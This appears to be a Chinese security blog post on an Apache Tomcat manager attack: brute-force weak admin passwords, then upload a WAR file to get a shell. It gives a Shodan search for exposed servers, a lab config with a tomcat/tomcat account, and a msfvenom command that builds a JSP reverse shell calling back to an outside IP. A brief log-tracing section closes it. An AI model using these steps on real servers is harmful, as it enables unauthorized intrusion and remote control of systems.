tomcat 后台上传war包getshell
漏洞简述
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。由于需要特殊的配置才能利用,可以作为技巧积累。
漏洞影响版本
Tomcat7+
漏洞POC
https://github.com/magicming200/tomcat-weak-password-scanner
爆破tomcat弱口令
Shodan 搜索语法
http.html:"successfully installed Tomcat." http.favicon.hash:-297069493
漏洞环境搭建
使用vulhub进行复现。将当前的xml挂载到容器中作为配置文件。
名称 | 权限说明 |
---|---|
admin-gui | 可访问 “host管理” 页面,但”APP管理” 和 “服务器状态” 页面无查看权限 |
admin-script | 只有host-manager脚本方式管理接口访问权限 |
manager-gui | 无 “host管理” 页面访问权限,有”APP管理” 和 “服务器状态” 页面查看权限 |
manager-status | 只有”服务器状态” 页面查看权限 |
manager-script | 有脚本方式管理接口访问权限和”服务器状态” 页面查看权限 |
manager-jmx | JMX 代理接口访问权限和”服务器状态” 页面查看权限 |
context.xml配置允许manager页面可被任意ip。
[root@VM-0-15-centos tomcat8]# cat context.xml <?xml version="1.0" encoding="UTF-8"?> <Context antiResourceLocking="false" privileged="true" > <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="\d+\.\d+\.\d+\.\d+" /> </Context>
查看tomcat-users.xml中tomcat用户的权限。用户tomcat拥有上述所有权限,密码是tomcat。
[root@VM-0-15-centos tomcat8]# cat tomcat-users.xml <?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
访问/manager/html。
登录后台后可上传war包部署。war包可以理解为压缩包,上传后tomcat回自动解压部署。
可以用msf直接生成反弹shell的war。
https://zgao.top/reverse-shell/
msfvenom -p java/jsp_shell_reverse_tcp LHOST=43.155.67.230 LPORT=1234 -f war -o shell.war
上传成功会显示ok,访问shell目录即可弹回shell。
可以用上面的工具爆破tomcat弱口令。
溯源排查
日志目录:/usr/local/tomcat/logs
排查关键词:/manager/html/upload
赞赏微信赞赏支付宝赞赏
发表评论